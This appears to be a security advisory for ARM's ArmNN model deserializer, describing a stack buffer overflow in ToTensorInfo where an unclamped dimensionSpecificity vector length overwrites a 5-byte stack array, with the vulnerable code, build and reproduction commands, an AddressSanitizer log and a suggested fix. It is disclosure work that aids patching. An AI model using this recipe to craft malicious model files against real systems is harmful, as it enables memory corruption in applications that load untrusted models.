YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ArmNN Deserializer β Stack Buffer Overflow via TensorInfo.dimensionSpecificity (CWE-121)
Summary
ARM-software/armnn's native model-file parser (armnnDeserializer,
src/armnnDeserializer/Deserializer.cpp) deserializes .armnn FlatBuffers
model files. The free function armnnDeserializer::ToTensorInfo()
(Deserializer.cpp, around line 743-760) decodes every TensorInfo table that
appears anywhere in a model file (every layer's input/output tensor
descriptors, constant tensors, etc.) and copies the optional
dimensionSpecificity FlatBuffers vector into a fixed 5-element stack
array:
auto dimensions = tensorPtr->dimensions();
unsigned int size = dimensions->size();
std::vector<unsigned int> outputDims(dimensions->begin(), dimensions->begin() + size);
bool dimensionsSpecificity[armnn::MaxNumOfTensorDimensions]; // stack array, size == 5
std::fill_n(dimensionsSpecificity, armnn::MaxNumOfTensorDimensions, true);
if (tensorPtr->dimensionSpecificity() != nullptr)
{
auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
size = dimensionSpecificity->size(); // <-- attacker-controlled length, NOT clamped
for (unsigned int i = 0; i < size; ++i)
{
dimensionsSpecificity[i] = dimensionSpecificity->Get(i); // <-- OOB WRITE once i >= 5
}
}
armnn::MaxNumOfTensorDimensions is 5 (include/armnn/Types.hpp). The loop
bound size is taken directly from the length of the attacker-supplied
dimensionSpecificity FlatBuffers vector, with no check against the fixed
stack buffer size. Any TensorInfo in the model file whose
dimensionSpecificity vector has more than 5 elements causes the loop to
write attacker-controlled boolean bytes (each element is the raw byte from
the file, coerced to bool) past the end of the 5-byte stack array,
corrupting adjacent stack memory (other stack locals, saved registers,
padding, and β depending on compiler/stack layout/optimization level β
potentially the return address) for as many bytes as the attacker declares
the vector to be (we tested 40 bytes in the PoC; the vector length field is
a FlatBuffers uint32 count, so far larger overflows are possible in a
single call).
ToTensorInfo() is called from nearly every layer parser in the file
(ParseFloor, ParseAdd, ParseActivation, ParseConvolution2d, ... β over
50 call sites), so this is reachable through essentially any .armnn model
that contains an Input/Output/any-layer TensorInfo with a crafted
dimensionSpecificity field. This PoC uses the simplest possible layer
(FloorLayer) to reach it via a single output slot's TensorInfo.
Attacker input β sink
- Application loads an untrusted
.armnnmodel file witharmnnDeserializer::IDeserializer::CreateNetworkFromBinary()β the standard, documented entry point used byExecuteNetworkand any ArmNN-based downstream integrator that accepts serialized ArmNN models. CreateNetworkFromGraph()walksgraph->layers()and dispatches each layer to its parser function (Deserializer.cpp:927-937).- The crafted
FloorLayer's output slot carries aTensorInfowhosedimensionSpecificityvector has 40 elements (dimensionsonly has 1). ParseFloor()(Deserializer.cpp:2253) callsToTensorInfo(outputs[0]).ToTensorInfo()writes 40 bytes into a 5-byte stack array (Deserializer.cpp:756) β stack-buffer-overflow.
Reproduction
Built at ArmNN commit (see ARMNN_COMMIT.txt), 2026-07-02, current main
HEAD at time of testing.
# 1. Generate ArmnnSchema_generated.h and build armnnDeserializer + armnn
# (core, no backends needed) with ASan, NDEBUG (Release-like, matches
# real deployment: flatbuffers' internal asserts are compiled out):
cmake -S armnn -B build -G Ninja \
-DBUILD_ARMNN_DESERIALIZER=ON -DBUILD_UNIT_TESTS=OFF -DBUILD_TESTS=OFF \
-DBUILD_ONNX_PARSER=OFF -DBUILD_TF_LITE_PARSER=OFF -DBUILD_ARMNN_SERIALIZER=OFF \
-DFLATC_DIR=/usr/bin -DFLATBUFFERS_LIBRARY=<path-to-libflatbuffers.so> \
-DFLATBUFFERS_INCLUDE_PATH=<flatbuffers-include-dir> \
-DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1 -DNDEBUG" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
ninja -C build armnnDeserializer
# 2. Compile this harness against the just-built libraries (same compiler,
# e.g. g++, as used for the library, to avoid mixed ASan runtimes):
g++ -std=c++17 -fsanitize=address -g -O1 -DNDEBUG \
-I armnn/include -I armnn/src/armnnUtils -I armnn/generated \
-I <flatbuffers-include-dir> \
harness.cpp -L build -Wl,-rpath,build -larmnnDeserializer -larmnn -o harness
# 3. Craft the model file (already provided as poc_floor_stackoverflow.armnn,
# built from poc_floor_stackoverflow.json via):
flatc -b armnn/src/armnnSerializer/ArmnnSchema.fbs poc_floor_stackoverflow.json
# 4. Run:
LD_LIBRARY_PATH=build ASAN_OPTIONS=detect_leaks=0 ./harness poc_floor_stackoverflow.armnn
Observed result (real evidence, not theoretical)
AddressSanitizer reports a stack-buffer-overflow WRITE of size 1,
directly at the vulnerable line, with a clean call stack from the public
CreateNetworkFromBinary API down to the vulnerable write:
==420219==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b4d36bf1885 ...
WRITE of size 1 at 0x7b4d36bf1885 thread T0
#0 ... armnnDeserializer::ToTensorInfo(armnnSerializer::TensorInfo const*) Deserializer.cpp:756
#1 ... armnnDeserializer::IDeserializer::DeserializerImpl::ParseFloor(...) Deserializer.cpp:2253
#2 ... armnnDeserializer::IDeserializer::DeserializerImpl::CreateNetworkFromGraph(...) Deserializer.cpp:934
#3 ... armnnDeserializer::IDeserializer::DeserializerImpl::CreateNetworkFromBinary(...) Deserializer.cpp:882
#4 ... armnnDeserializer::IDeserializer::CreateNetworkFromBinary(...) Deserializer.cpp:59
#5 ... main harness.cpp:29
...
Address 0x7b4d36bf1885 is located in stack of thread T0 at offset 133 in frame
#0 ... armnnDeserializer::ToTensorInfo(...) Deserializer.cpp:679
...
[128, 133) 'dimensionsSpecificity' (line 746) <== Memory access at offset 133 overflows this variable
Full log: asan_crash_log.txt.
Dedup / prior-art check
git blameshows this exact code has been present, unmodified in the relevant lines, since commit800b281e50(2021-02-12) β over 5 years, and is still present at the currentmainHEAD (2b61cecc9d, 2026-07-02).- No matching GitHub issue, PR, security advisory, or CVE for ArmNN
mentions
dimensionSpecificity,ToTensorInfo, or a deserializer stack overflow. The only related public fix we found (a heap overflow inSpaceToBatchNDinput-type validation) is in the separatearmnnTfLiteParsercomponent (TensorFlow Lite import), notarmnnDeserializer(ArmNN's own native FlatBuffers format), and concerns input-type validation, not tensor-shape/stack handling. - Distinct root cause from the companion
padList/cropsheap-overflow finding filed alongside this one (different function, different bug class β fixed-size stack buffer overflow vs. unsigned-integer-underflow driven heap OOB read).
Suggested fix
Clamp the loop bound to armnn::MaxNumOfTensorDimensions (and reject/throw
a ParseException if dimensionSpecificity->size() > armnn::MaxNumOfTensorDimensions, mirroring the pattern already used
elsewhere in this file for other size-mismatch checks).
Files
poc_floor_stackoverflow.jsonβ human-readable FlatBuffers JSON for the crafted model (oneInputLayer, oneFloorLayerwhose outputTensorInfo.dimensionSpecificityhas 40 entries vs. a 5-element stack buffer).poc_floor_stackoverflow.armnnβ the compiled crafted model file (flatc -b ArmnnSchema.fbs poc_floor_stackoverflow.json).harness.cppβ minimal driver that calls the real, unmodifiedarmnnDeserializer::IDeserializer::CreateNetworkFromBinary()API on a file path given on the command line.ArmnnSchema.fbsβ copy of the exact schema used (from the tested commit), needed to regenerate the.armnnfile withflatc.asan_crash_log.txtβ full AddressSanitizer report from running the harness against the PoC file.ARMNN_COMMIT.txtβ the exact ARM-software/armnn commit hash this was built and tested against.